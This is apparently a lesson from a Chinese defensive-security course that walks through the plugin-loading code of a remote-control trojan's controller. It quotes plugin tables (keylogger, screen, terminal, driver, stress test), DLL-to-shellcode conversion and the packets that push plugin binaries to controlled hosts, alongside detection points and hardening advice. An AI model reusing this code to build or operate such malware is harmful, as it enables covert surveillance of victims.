12 / 52 插件与被控运行机制

第 12 课:插件化设计与模块加载总览

# 第 12 课:插件化设计与模块加载总览

免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。

第 11 课讲了协议与命令分发:完整包到达后,主控端通过 TOKEN_* 打开功能窗口,再通过各模块的 COMMAND_* 完成具体动作。

本课继续往下一层看:这些功能为什么不是全部写死在一个 EXE 里,而是拆成插件?主控端如何保存插件数据?被控端为什么要先问版本,再请求插件?DllSendData 这类结构体在链路中起什么作用?

先给新手一个整体结论:

插件化 = 主控端保存一批功能模块,被控端按功能、版本和位数请求模块,主控端再把对应模块数据发过去。

这套设计有工程上的好处:模块可拆分、按需加载、按位数区分、便于扩展。但从安全工程角度看,它也带来明显风险:动态加载、内存执行、插件可信链不足、注册表二进制缓存、网络大包传输、命令权限不清晰。

本课只讲总体结构和防御分析,不讲如何改造、投递或复用插件加载链。

# 1. 本课学习目标

学完本课,你应该能回答这些问题:

问题 本课回答
插件化设计解决什么问题 把不同功能拆成独立模块,主控端按需发送或加载
插件从哪里来 一部分来自主控端资源,一部分来自插件视图导入的扩展插件
PluginsInfo 保存什么 版本、插件数据指针、插件大小、是否自动运行
PluginsDate 是什么 以插件名为 key 的插件索引表
为什么要区分 x86/x64 远端位数不同,插件二进制和调用约定不同
DllSendData 是什么 插件发送请求和下发时携带的元数据
版本比较有什么意义 避免重复发送相同插件,也暴露了版本探测行为
企业应关注什么 插件大包、动态加载、注册表缓存、可执行内存、未知模块执行

# 2. 本课涉及源码目录和文件

源码文件 本课关注点
主控\Quick\MainFrm.h PluginsInfoPluginsDate、插件相关成员和函数声明
主控\Quick\MainFrm.cpp 内置插件资源表、WriteResourceWriteAndReadPluginsGetPluginVersionOnOpenSendDll
主控\Quick\PlugView.h 扩展插件元数据结构 DLLInfo、扩展插件索引
主控\Quick\PlugView.cpp 扩展插件读取、标记查找、MD5 版本、生成 _bin 数据
主控\Quick\QuickView.cpp 主控端发起插件加载命令的位置
主控\Quick\macros.h 主控侧 DllSendData 结构
主插件\上线模块\上线模块\KernelManager.h 插件侧 DllSendDataInfo、加载任务类型
主插件\上线模块\上线模块\KernelManager.cpp 插件版本比较、请求、缓存和加载入口

本课只做总览。第 13 课会继续深入 KernelManager.cpp,按源码顺序讲版本包、注册表缓存、内存分配、Debug/Release 加载差异。

# 3. 插件化在整体工程中的位置

先看整体地图:

第 12 课图 1:插件化总览

这张图按从左到右、从上到下理解:

  1. 主控端启动时从资源中释放或索引内置插件。
  2. 插件数据被整理到 m_PluginsDate_x86 / m_PluginsDate_x64
  3. 被控端连接后先发版本请求。
  4. 主控端根据版本和位数决定是否发送插件。
  5. 对端收到插件数据后缓存并进入加载链路。
  6. 防御侧把网络、主机、内存、注册表和构建链信号关联起来。

从工程设计看,插件化让主程序不用一次性包含所有功能逻辑;从防御看,它意味着“功能能力可以被动态传输和动态启用”,这正是企业检测需要重点关注的地方。

# 4. 插件来源一:内置资源

主控端内置了大量插件资源。先看资源表的结构。

// 源码位置:主控\Quick\MainFrm.cpp:150-156
// 防御分析注释:
// 1. PLUGINS 描述一个内置插件资源:名称、资源 ID、是否生成 shellcode 形式、调用参数。
// 2. buildshellcode 为 true 的插件会进入后续转换链路,属于高风险关注点。
// 3. param 影响生成或调用方式,防御侧需要记录它与插件名称的对应关系。
struct PLUGINS
{
    TCHAR DllPath[50];
    int   RType;
    bool  buildshellcode;
    char  param[50];
};
1
2
3
4
5
6
7
8
9
10
11
12

内置资源表分成 32 位和 64 位两组。

// 源码位置:主控\Quick\MainFrm.cpp:158-181
// 防御分析注释:
// 1. 这是 32 位插件资源表,插件名称本身就能暴露能力面。
// 2. 文件、注册表、屏幕、音频、键盘、终端、代理、驱动等能力都在表中。
// 3. 本教程只用于识别风险面,不展开这些能力的使用方法。
PLUGINS g_pluginsDatas_32[] =
{
    { _T("播放监听.dll"), IDR_PLUGINS1 ,true,"0"},
    { _T("查注册表.dll"), IDR_PLUGINS2 ,true,"0"},
    { _T("差异屏幕.dll"), IDR_PLUGINS3 ,true,"0"},
    { _T("代理映射.dll"), IDR_PLUGINS4 ,true,"0"},
    { _T("高速屏幕.dll"), IDR_PLUGINS5 ,true,"0"},
    { _T("后台屏幕.dll"), IDR_PLUGINS6 ,true,"0"},
    { _T("键盘记录.dll"), IDR_PLUGINS7 ,true,"0"},
    { _T("上线模块.bin"), IDR_PLUGINS8,false,"0"},
    { _T("上线模块.dll"), IDR_PLUGINS9,true,"load"},
    { _T("视频查看.dll"), IDR_PLUGINS10,true,"0"},
    { _T("文件管理.dll"), IDR_PLUGINS11,true,"0"},
    { _T("系统管理.dll"), IDR_PLUGINS12,true,"0"},
    { _T("远程终端.dll"), IDR_PLUGINS15,true,"0"},
    { _T("压力测试.dll"), IDR_PLUGINS17,true,"0"},
    { _T("登录模块.dll"), IDR_PLUGINS18,true,"0"},
    { _T("驱动插件.dll"), IDR_PLUGINS19,true,"0"},
    { _T("执行代码.dll"), IDR_PLUGINS20,false,"0"},
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

同样还有 64 位资源表。

// 源码位置:主控\Quick\MainFrm.cpp:184-206
// 防御分析注释:
// 1. 64 位插件与 32 位插件分开保存,主控端后续会按远端位数选择。
// 2. 如果合法软件支持双架构,应显式记录平台、签名和哈希。
// 3. 企业检测时要同时检查 x86 和 x64 插件目录或资源。
PLUGINS g_pluginsDates_64[] =
{
    { _T("播放监听.dll"), IDR_PLUGINS641,true,"0"},
    { _T("查注册表.dll"), IDR_PLUGINS642,true,"0"},
    { _T("差异屏幕.dll"), IDR_PLUGINS643,true,"0"},
    { _T("代理映射.dll"), IDR_PLUGINS644,true,"0"},
    { _T("高速屏幕.dll"), IDR_PLUGINS645,true,"0"},
    { _T("后台屏幕.dll"), IDR_PLUGINS646,true,"0"},
    { _T("键盘记录.dll"), IDR_PLUGINS647,true,"0"},
    { _T("上线模块.bin"), IDR_PLUGINS648,false,"0"},
    { _T("上线模块.dll"), IDR_PLUGINS649,true,"load"},
    { _T("文件管理.dll"), IDR_PLUGINS6411,true,"0"},
    { _T("远程终端.dll"), IDR_PLUGINS6415,true,"0"},
    { _T("压力测试.dll"), IDR_PLUGINS6417,true,"0"},
    { _T("登录模块.dll"), IDR_PLUGINS6418,true,"0"},
    { _T("驱动插件.dll"), IDR_PLUGINS6419,true,"0"},
    { _T("执行代码.dll"), IDR_PLUGINS642,false,"0"},
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

读这段时,新手不要纠结每个资源 ID。先看三件事:

观察点 说明
插件能力很多 文件、屏幕、音频、注册表、终端、代理、驱动等都被拆成模块
位数分开 32 位和 64 位插件分别维护
部分插件会转换 buildshellcode 标记决定是否进入转换链

# 5. 插件来源二:扩展插件

除了内置资源,主控端还有插件视图,用来添加扩展插件。

第 12 课图 2:插件来源

扩展插件有自己的元数据结构。

// 源码位置:主控\Quick\PlugView.h:5-13
// 防御分析注释:
// 1. DLLInfo 描述扩展插件的标记、位数、自动运行、菜单分组和说明。
// 2. isautorun 会影响自动加载行为,是企业检测和加固的重点字段。
// 3. bmutual 表示交互类插件,通常意味着更复杂的双向通信。
struct DLLInfo
{
    char mark[30];       // 标记
    char mode[30];       // 加载模式
    BOOL isx86;          // 是否 32 位
    BOOL isautorun;      // 是否自动运行
    TCHAR Group[255];    // 菜单分组
    TCHAR dllname[255];  // DLL 名称
    TCHAR dlltext[255];  // 说明
    BOOL bmutual;        // 是否交互
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

插件视图中也维护了 x86/x64 两份索引。

// 源码位置:主控\Quick\PlugView.h:26-30
// 防御分析注释:
// 1. m_PlugsDatex86 和 m_PlugsDatex64 存扩展插件。
// 2. 它们和 MainFrm 的 m_PluginsDate_x86/x64 不同:前者偏扩展插件,后者偏内置主插件。
// 3. 两套索引都需要做可信校验、版本记录和来源记录。
class CPlugView : public CListView
{
public:
    PluginsDate m_PlugsDatex86;  // 扩展插件数据
    PluginsDate m_PlugsDatex64;  // 扩展插件数据
    TKYLockRW mLockRM;
};
1
2
3
4
5
6
7
8
9
10
11
12

扩展插件被读入后,会查找一个标记,并把插件数据放进索引。

// 源码位置:主控\Quick\PlugView.cpp:341-409
// 防御分析注释:
// 1. memfind 查找 "getinfo" 标记,说明插件文件内部有一段元数据。
// 2. 读取 DLLInfo 后,用 isx86 决定进入 x86 或 x64 索引。
// 3. MD5 被用作版本字段,但 MD5 不适合作为现代安全完整性保证。
// 4. 代码还会生成 _bin 数据并放入索引,防御侧应关注同名 DLL 和 *_bin 的成对出现。
dwOffset = memfind((char*)bfileDate, "getinfo", m_FileSzie, 0);
if (dwOffset == -1)
{
    return FALSE;
}

DLLInfo mPlugInfo;
memcpy(&mPlugInfo, bfileDate + dwOffset, sizeof(DLLInfo));

PluginsInfo* p_PluginsInfo = new PluginsInfo;
p_PluginsInfo->filedate = bfileDate;
p_PluginsInfo->filesize = m_FileSzie;
string s_tmp = MD5((void*)bfileDate, m_FileSzie).toString();
MultiByteToWideChar(CP_ACP, 0, s_tmp.c_str(), -1, p_PluginsInfo->Version, size);
p_PluginsInfo->bauto = mPlugInfo.isautorun ? TRUE : FALSE;

PluginsDate* m_PlugsDate = NULL;
if (mPlugInfo.isx86)
    m_PlugsDate = &m_PlugsDatex86;
else
    m_PlugsDate = &m_PlugsDatex64;

m_PlugsDate->insert(MAKE_PAIR(PluginsDate, filename, p_PluginsInfo));

CString filename_bin = filename + _T("_bin");
byte* bfileDate_bin = dll_to_shellcode(bfileDate, m_FileSzie, &m_FileSzie_bin);
// 后续把 filename_bin 也加入 m_PlugsDate
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

这段代码带来的防御观察点:

观察点 说明
文件内标记 扩展插件文件内存在 getinfo 类标记
自动运行字段 isautorun 会影响后续自动下发
双份数据 原 DLL 和 _bin 数据都可能被保存
位数分流 isx86 决定进入哪份插件索引
版本字段 MD5 更适合做识别线索,不应当被视为强安全机制

# 6. 插件索引结构

主控端用 PluginsInfoPluginsDate 管理插件数据。

// 源码位置:主控\Quick\MainFrm.h:10-34
// 防御分析注释:
// 1. Version 保存插件数据的 MD5 字符串,用于版本比较。
// 2. filedate 指向插件二进制数据,filesize 保存长度。
// 3. bauto 表示是否自动运行,企业应重点关注自动加载插件。
// 4. PluginsDate 是 map<CString, PluginsInfo*>,key 通常是插件文件名。
struct PluginsInfo
{
    TCHAR Version[50];
    BYTE* filedate;
    int filesize;
    BOOL bauto;
};

typedef std::map<CString, PluginsInfo*> PluginsDate; // 存放插件数据
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

主框架里维护两份内置插件索引。

// 源码位置:主控\Quick\MainFrm.h:138-140
// 防御分析注释:
// 1. x86 和 x64 分开保存,后续按远端位数选择。
// 2. 合法软件中应把架构、签名、哈希、来源、版本一起记录。
PluginsDate     m_PluginsDate_x86;  // 插件数据
PluginsDate     m_PluginsDate_x64;  // 插件数据
1
2
3
4
5
6

可以把索引理解成这样:

key value
文件管理.dll PluginsInfo{Version, filedate, filesize, bauto}
文件管理.dll_bin PluginsInfo{Version, filedate, filesize, bauto}
登录模块.dll_bin PluginsInfo{Version, filedate, filesize, bauto}

这个结构对新手很重要。主控端不是每次都去磁盘找插件,而是先把插件数据读入或映射到索引里。后续发送插件时,按名称查 map,找到后就把 filedatefilesize 拼进数据包。

# 7. 内置插件写入与索引

主控端启动时会初始化虚拟功能和资源,然后写出必要 DLL,最后调用 WriteAndReadPlugins

// 源码位置:主控\Quick\MainFrm.cpp:455-469
// 防御分析注释:
// 1. 主框架初始化期间会调用 WriteAndReadPlugins。
// 2. 这一步会把内置资源转换成主控端后续可发送的插件索引。
// 3. 防御侧可把主控启动后大量资源释放、虚拟文件写入、插件索引建立作为行为链。
// 写出一些需要的文件,用于初始化插件数据
WriteAndReadPlugins();

// 初始化shellcode
InitShellcode();
1
2
3
4
5
6
7
8
9
10

WriteAndReadPlugins 会遍历 32 位和 64 位资源表。

// 源码位置:主控\Quick\MainFrm.cpp:1624-1641
// 防御分析注释:
// 1. g_pluginsDatas_32 和 g_pluginsDates_64 分别对应两套架构插件资源。
// 2. WriteResource 会把资源写入虚拟目录,并建立插件索引。
// 3. 额外写出的 upx.exe、cmd.txt、qqwry.dat 也属于构建链和运行环境线索。
void CMainFrame::WriteAndReadPlugins()
{
    TCHAR szSelfPath[MAX_PATH];
    ::GetModuleFileName(NULL, szSelfPath, ARRAYSIZE(szSelfPath));
    CString strPath = szSelfPath;
    strPath = strPath.Mid(0, strPath.ReverseFind('\\'));

    for (int i = 0; i < sizeof(g_pluginsDatas_32) / sizeof(PLUGINS); i++)
        WriteResource(false, strPath.GetBuffer(), g_pluginsDatas_32[i].DllPath,
            g_pluginsDatas_32[i].RType, _T("PLUGINS"), true,
            g_pluginsDatas_32[i].buildshellcode, g_pluginsDatas_32[i].param);

    for (int i = 0; i < sizeof(g_pluginsDates_64) / sizeof(PLUGINS); i++)
        WriteResource(true, strPath.GetBuffer(), g_pluginsDates_64[i].DllPath,
            g_pluginsDates_64[i].RType, _T("PLUGINS64"), true,
            g_pluginsDates_64[i].buildshellcode, g_pluginsDates_64[i].param);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

WriteResource 则负责从资源中取出二进制数据,计算版本,并插入对应 map。

// 源码位置:主控\Quick\MainFrm.cpp:1537-1574
// 防御分析注释:
// 1. FindResource / LoadResource / LockResource 从 EXE 资源中取插件数据。
// 2. MyBoxedAppSDK_CreateVirtualFileW 表示写入虚拟文件系统。
// 3. MD5 被写入 Version,用于后续版本比较。
// 4. filedate 指向资源数据,filesize 保存资源大小。
void CMainFrame::WriteResource(bool iswin64, TCHAR* lp_path, TCHAR* lp_filename,
    int lpszType, TCHAR* lpresname, bool bwrite, bool buildshellcode, char* param)
{
    PluginsInfo* p_PluginsInfo = new PluginsInfo;

    HRSRC hResource = FindResource(GetModuleHandle(NULL), MAKEINTRESOURCE(lpszType), lpresname);
    HGLOBAL hg = LoadResource(GetModuleHandle(NULL), hResource);
    char* pBuffer = (char*)LockResource(hg);
    DWORD dwSize = SizeofResource(GetModuleHandle(NULL), hResource);

    p_PluginsInfo->filedate = (BYTE*)pBuffer;
    p_PluginsInfo->filesize = dwSize;
    string s_tmp = MD5((void*)pBuffer, dwSize).toString();
    MultiByteToWideChar(CP_ACP, 0, s_tmp.c_str(), -1, p_PluginsInfo->Version, size);

    if (iswin64)
        m_PluginsDate_x64.insert(MAKE_PAIR(PluginsDate, lp_filename, p_PluginsInfo));
    else
        m_PluginsDate_x86.insert(MAKE_PAIR(PluginsDate, lp_filename, p_PluginsInfo));
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

如果 buildshellcode 为真,还会生成 _bin 数据并加入索引。

// 源码位置:主控\Quick\MainFrm.cpp:1584-1621
// 防御分析注释:
// 1. buildshellcode 分支会把 DLL 转换成后续可发送的 _bin 形式。
// 2. 这类转换链属于高风险实现,本教程只说明检测意义。
// 3. 企业侧应重点关注 DLL 与 *_bin 成对出现、生成和传输。
if (buildshellcode)
{
    CStringA str_in = str;
    CStringA str_out = str;
    str_out += "_bin";

    if (strcmp(param, "0") == 0)
        dll_to_shellcode(InvokeDllMode::Invoke_DllMain, param, str_in, str_out);
    else
        dll_to_shellcode(InvokeDllMode::Invoke_ExportFunc, param, str_in, str_out);

    HANDLE hFile = CreateFileA(str_out, GENERIC_READ, FILE_SHARE_READ, NULL,
        OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    DWORD len = GetFileSize(hFile, NULL);
    char* binbuffer = new char[len];
    ReadFile(hFile, binbuffer, len + 1, &wr, NULL);

    PluginsInfo* p_PluginsInfo_bin = new PluginsInfo;
    p_PluginsInfo_bin->filedate = (BYTE*)binbuffer;
    p_PluginsInfo_bin->filesize = len;
    lstrcat(lp_filename, _T("_bin"));

    if (iswin64)
        m_PluginsDate_x64.insert(MAKE_PAIR(PluginsDate, lp_filename, p_PluginsInfo_bin));
    else
        m_PluginsDate_x86.insert(MAKE_PAIR(PluginsDate, lp_filename, p_PluginsInfo_bin));
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

安全工程上,这里要形成一条行为链:

资源数据 -> 虚拟文件 -> MD5 版本 -> x86/x64 索引 -> 可选 _bin 数据 -> 后续网络下发

# 8. DllSendData 字段解释

插件请求和插件下发都围绕 DllSendData 展开。

第 12 课图 3:DllSendData 字段

主控侧结构如下:

// 源码位置:主控\Quick\macros.h:392-410
// 防御分析注释:
// 1. sendTaskType 表示插件任务类型,例如主插件或扩展插件。
// 2. szDllName 是插件名,是检测和溯源的重要字段。
// 3. bIsX64 决定主控端查 x86 还是 x64 插件索引。
// 4. dllDataSize 是后续插件二进制数据长度,必须严格校验。
// 5. szVersion 用于版本比较,但这里不是强签名。
struct DllSendData
{
    SendTaskType    sendTaskType;
    TCHAR           szDllName[255];     // DLL名称
    BOOL            bIsX64;             // 位数
    int             dllDataSize;        // DLL大小
    TCHAR           szVersion[50];      // 版本
    TCHAR           szcommand[1000];
    int             i;
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

插件侧也有类似结构,但命名不同。

// 源码位置:主插件\上线模块\上线模块\KernelManager.h:58-77
// 防御分析注释:
// 1. 插件侧字段语义和主控侧相近,但命名不同。
// 2. 两边结构必须保持布局兼容,否则网络包解析会错位。
// 3. 合法软件中应使用明确协议定义,不应靠人工维护结构体一致。
struct DllSendData
{
    SENDTASK    sendtask;
    TCHAR       DllName[255];     // DLL名称
    BOOL        isX64;            // 位数
    int         DataSize;         // DLL大小
    TCHAR       szVersion[50];    // 版本
    TCHAR       szcommand[1000];
    int         i;
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

字段解释如下:

字段 白话解释 防御关注
sendTaskType / sendtask 插件加载任务类型 是否主插件、扩展插件、自动任务
szDllName / DllName 插件文件名 IOC、能力识别、插件族群
bIsX64 / isX64 目标位数 x86/x64 双索引选择
dllDataSize / DataSize 后续二进制长度 大包传输、内存分配、越界风险
szVersion 版本或哈希 版本探测、缓存命中、重复下发
szcommand 附加命令参数 参数注入、边界校验
i 附加整型字段 协议兼容性和未明字段

# 9. x86 / x64 选择逻辑

这套源码非常依赖位数判断。第 8 课讲过,主控端会在连接上下文中保存远端位数信息,例如 bisx86。插件调度时,主控端根据位数选择对应索引。

第 12 课图 5:x86 / x64 选择

GetPluginVersion 就体现了这个分流。

// 源码位置:主控\Quick\MainFrm.cpp:1643-1681
// 防御分析注释:
// 1. bIsX86 决定查询 x86 还是 x64 插件索引。
// 2. TASK_MAIN 查主框架内置插件索引,TASK_PLUG 查扩展插件索引。
// 3. 版本字段来自 PluginsInfo::Version,通常是 MD5 字符串。
void CMainFrame::GetPluginVersion(TCHAR* dllname, TCHAR* Version,
    SendTaskType sendTaskType, BOOL bIsX86)
{
    switch (sendTaskType)
    {
    case TASK_MAIN:
    {
        PluginsDate* m_PlugsDate = NULL;
        if (bIsX86)
            m_PlugsDate = &m_PluginsDate_x86;
        else
            m_PlugsDate = &m_PluginsDate_x64;

        PluginsDate::iterator it_PluginsDate = m_PlugsDate->find(dllname);
        if (it_PluginsDate != m_PlugsDate->end())
            memcpy(Version, it_PluginsDate->second->Version, 100);
    }
    break;

    case TASK_PLUG:
    {
        PluginsDate* m_PlugsDate = NULL;
        if (bIsX86)
            m_PlugsDate = &g_pCPlugView->m_PlugsDatex86;
        else
            m_PlugsDate = &g_pCPlugView->m_PlugsDatex64;

        PluginsDate::iterator it_PluginsDate = m_PlugsDate->find(dllname);
        if (it_PluginsDate != m_PlugsDate->end())
            memcpy(Version, it_PluginsDate->second->Version, 100);
    }
    break;
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

这里有三个新手容易忽略的点:

说明
位数不仅影响编译 它还影响主控端发送哪份插件数据
主插件和扩展插件分开 TASK_MAINTASK_PLUG 查不同 map
版本不是强校验 MD5 可做识别和比较,但不能替代签名和可信链

# 10. 版本请求时序

插件链路不是一上来就传大文件,而是先比较版本。

第 12 课图 4:版本请求时序

流程可以拆成:

  1. 上线模块连接主控端。
  2. 上线模块发送 TOKEN_GETVERSION
  3. 主控端按位数查找登录模块版本。
  4. 对端比较本地缓存版本。
  5. 如果版本不一致,对端发送 TOKEN_SENDLL 请求插件。
  6. 主控端用 COMMAND_SENDLL 下发 DllSendData + 插件数据

主控端发送版本的函数如下:

// 源码位置:主控\Quick\MainFrm.cpp:2342-2364
// 防御分析注释:
// 1. 对端包的第 2 个字节决定查 x86 还是 x64 插件索引。
// 2. 这里只查找 "登录模块.dll_bin",说明登录模块是后续链路核心。
// 3. 返回包仍以 TOKEN_GETVERSION 开头,后面跟版本字符串。
void CMainFrame::OnOpenSendVersion(ClientContext* pContext)
{
    PluginsDate* p_PluginsDate;
    if (pContext->m_DeCompressionBuffer.GetBuffer(1)[0] == 0)
        p_PluginsDate = &(m_PluginsDate_x86);
    else
        p_PluginsDate = &(m_PluginsDate_x64);

    PluginsDate::iterator it_PluginsDate =
        p_PluginsDate->find(_T("登录模块.dll_bin"));
    if (it_PluginsDate != p_PluginsDate->end())
    {
        const int payloadSize = 100;
        BYTE* bPacket = new BYTE[payloadSize + 1];
        bPacket[0] = TOKEN_GETVERSION;
        memcpy(bPacket + 1, it_PluginsDate->second->Version, payloadSize);
        g_pSocketBase->Send(pContext, bPacket, payloadSize + 1);
        SAFE_DELETE_AR(bPacket);
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

检测意义:

信号 含义
很短的版本请求包 对端进入插件版本协商
固定插件名 登录模块.dll_bin 是关键线索
版本字段 可用于样本聚类,但不能当作安全验证
位数分支 x86/x64 两套数据可能产生不同哈希

# 11. 主控端发起插件加载

当用户在主控界面选择功能时,主控端会先发一个小包,让对端根据插件版本决定后续动作。

// 源码位置:主控\Quick\QuickView.cpp:1789-1800
// 防御分析注释:
// 1. lpPacket[0] = COMMAND_DLLMAIN,表示主控端请求对端加载某个插件。
// 2. DllSendData 只携带元数据,不直接携带完整插件数据。
// 3. GetPluginVersion 会把当前插件版本填入 DllData.szVersion。
// 4. 对端后续根据版本决定是否请求新的插件数据。
int nPacketLength = 1 + sizeof(DllSendData);
LPBYTE lpPacket = new BYTE[nPacketLength];
memset(lpPacket, 0, nPacketLength);
lpPacket[0] = COMMAND_DLLMAIN;

DllSendData DllData;
ZeroMemory(&DllData, sizeof(DllSendData));
DllData.sendTaskType = sendTaskType;
g_pFrame->GetPluginVersion(strDllName.GetBuffer(), DllData.szVersion,
    sendTaskType, pContext->bisx86);
_tcscpy_s(DllData.szDllName, strDllName.GetBuffer());

::memcpy(lpPacket + 1, &DllData, sizeof(DllSendData));
g_pSocketBase->Send(pContext, lpPacket, nPacketLength);
delete[] lpPacket;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

这段代码说明插件加载不是单独一个动作,而是一组阶段:

阶段 包内容 目的
请求加载 COMMAND_DLLMAIN + DllSendData 告诉对端要哪个插件
版本比较 插件名、版本、位数 判断是否已有缓存
请求数据 TOKEN_SENDLL + DllSendData 对端向主控请求插件数据
下发数据 COMMAND_SENDLL + DllSendData + filedate 主控端发送实际二进制

# 12. 主控端下发插件数据

如果对端请求插件数据,主控端进入 OnOpenSendDll

// 源码位置:主控\Quick\MainFrm.cpp:2369-2435
// 防御分析注释:
// 1. 主控端从接收缓冲区第 1 字节后解析 DllSendData。
// 2. sendTaskType 决定查内置插件索引还是扩展插件索引。
// 3. bPacket[0] = COMMAND_SENDLL,后面拼 DllSendData 和插件二进制数据。
// 4. nPacketSize 与插件大小直接相关,防御侧可关联网络大包和插件名。
void CMainFrame::OnOpenSendDll(ClientContext* pContext)
{
    DllSendData* pDllSendData =
        (DllSendData*)pContext->m_DeCompressionBuffer.GetBuffer(1);

    int i_DllSendDate = sizeof(DllSendData);
    if (pContext->m_DeCompressionBuffer.GetBufferLen() != (sizeof(DllSendData) + 1))
        return;

    CString strFileName = pDllSendData->szDllName;

    PluginsDate* p_PluginsDate;
    if (pDllSendData->bIsX64)
        p_PluginsDate = &(m_PluginsDate_x64);
    else
        p_PluginsDate = &(m_PluginsDate_x86);

    PluginsDate::iterator it_PluginsDate = p_PluginsDate->find(strFileName);
    if (it_PluginsDate != p_PluginsDate->end())
    {
        int nPacketSize = 1 + i_DllSendDate + it_PluginsDate->second->filesize;
        BYTE* bPacket = new BYTE[nPacketSize];
        memset(bPacket, 0, nPacketSize);
        bPacket[0] = COMMAND_SENDLL;
        pDllSendData->dllDataSize = it_PluginsDate->second->filesize;
        memcpy(pDllSendData->szVersion, it_PluginsDate->second->Version, 100);
        memcpy(bPacket + 1, pDllSendData, i_DllSendDate);
        memcpy(bPacket + 1 + i_DllSendDate,
            it_PluginsDate->second->filedate,
            it_PluginsDate->second->filesize);
        g_pSocketBase->Send(pContext, bPacket, nPacketSize);
        SAFE_DELETE_AR(bPacket);
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

这里要建立一个安全工程模型:

元素 防御含义
strFileName 插件名,可转成 IOC 或能力标签
bIsX64 位数选择,影响后续加载方式
filesize 网络数据量和内存分配大小
COMMAND_SENDLL 插件数据下发的命令信号
filedate 实际插件二进制数据
Version 缓存比较和样本聚类线索

# 13. 自动插件发送

扩展插件中如果标记为自动运行,主控端会在 SendAutoDll 中遍历扩展插件索引。

// 源码位置:主控\Quick\MainFrm.cpp:2453-2478
// 防御分析注释:
// 1. SendAutoDll 只遍历 bauto 为 true 的扩展插件。
// 2. lpPacket[0] = COMMAND_DLLMAIN,仍然先发元数据请求。
// 3. 自动运行插件是合法软件中必须明确审批和记录的高风险能力。
void CMainFrame::SendAutoDll(ClientContext* pContext)
{
    TKYLockRW_CLockR r(g_pCPlugView->mLockRM);
    if (pContext)
    {
        PluginsDate::iterator iter;
        for (iter = g_pCPlugView->m_PlugsDatex86.begin();
            iter != g_pCPlugView->m_PlugsDatex86.end(); iter++)
        {
            if (iter->second->bauto)
            {
                CString strDllName = iter->first;
                int nPacketLength = 1 + sizeof(DllSendData);
                LPBYTE lpPacket = new BYTE[nPacketLength];
                memset(lpPacket, 0, nPacketLength);
                lpPacket[0] = COMMAND_DLLMAIN;

                DllSendData DllData;
                ZeroMemory(&DllData, sizeof(DllSendData));
                DllData.sendTaskType = SendTaskType::TASK_PLUG;
                g_pFrame->GetPluginVersion(strDllName.GetBuffer(),
                    DllData.szVersion, TASK_PLUG, pContext->bisx86);
                _tcscpy_s(DllData.szDllName, strDllName.GetBuffer());
                ::memcpy(lpPacket + 1, &DllData, sizeof(DllSendData));
                g_pSocketBase->Send(pContext, lpPacket, nPacketLength);
                delete[] lpPacket;
            }
        }
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

从企业角度看,自动插件比手动插件更需要关注:

风险 说明
无人触发 上线或状态变化后可能自动发送
批量影响 多个连接都可能触发同类插件
日志难解释 如果缺少操作者记录,很难确认是谁触发
权限不清晰 自动加载必须绑定资产范围和功能权限

# 14. 插件风险面总览

第 12 课图 6:插件风险面

插件化链路至少有六类风险面:

风险面 说明 企业检测点
动态加载 功能模块按需启用 未知 DLL、异常模块加载、插件名
内存执行 _bin 数据可能进入内存执行链 RWX 内存、无文件模块、异常入口
注册表缓存 对端可能缓存二进制数据 REG_BINARY、异常键值、固定名称
网络大包 插件数据通过连接传输 小命令包后接大包、固定命令号
位数分支 x86/x64 双份插件 双架构样本、不同哈希
可信链不足 版本比较不等于签名验证 缺少签名、缺少证书、MD5 弱校验

# 15. 企业检测点

# 15.1 主机侧检测点

检测点 说明
进程内出现大量插件名 例如文件、屏幕、注册表、终端、驱动等名称
资源释放或虚拟文件写入 主控端初始化时释放插件资源
插件 _bin 数据生成或缓存 DLL 与 _bin 成对出现
自动运行插件标记 bautoisautorun 类字段
大块二进制进入内存 后续可能进入动态加载链

# 15.2 网络侧检测点

检测点 说明
版本探测小包 TOKEN_GETVERSION 类短包
插件请求包 TOKEN_SENDLL + DllSendData
插件数据大包 COMMAND_SENDLL + DllSendData + filedate
按位数重复请求 x86/x64 插件版本不同
自动插件批量下发 多连接短时间出现相同插件请求

# 15.3 构建链检测点

检测点 说明
资源表包含大量插件 IDR_PLUGINS*IDR_PLUGINS64*
插件转换工具链 DllToShellCode.*
内存加载组件 MemoryModule.*
双架构库目录 Plugins\x86Plugins\x64
插件元数据标记 getinfoDLLInfo

# 16. 合法软件加固建议

如果要把“插件化”思想用于合法远程管理软件,至少应补上这些设计:

改造项 建议
插件签名 每个插件必须有厂商签名和完整证书链
哈希升级 使用 SHA-256 或更强算法,MD5 只做兼容识别
插件清单 维护允许加载的插件白名单
版本协议 显式记录协议版本、插件版本、架构、兼容范围
权限模型 每个插件绑定角色、资产范围和审批策略
自动运行审批 bauto 类能力默认关闭,启用需审批
日志记录 记录插件名、版本、大小、触发人、目标资产和结果
安全加载 优先使用操作系统标准加载、签名校验和受控目录
用户可见性 屏幕、摄像头、音频等插件必须有用户提示
失败阻断 版本不一致、签名失败、长度异常应拒绝加载并告警

# 17. 新手阅读路线

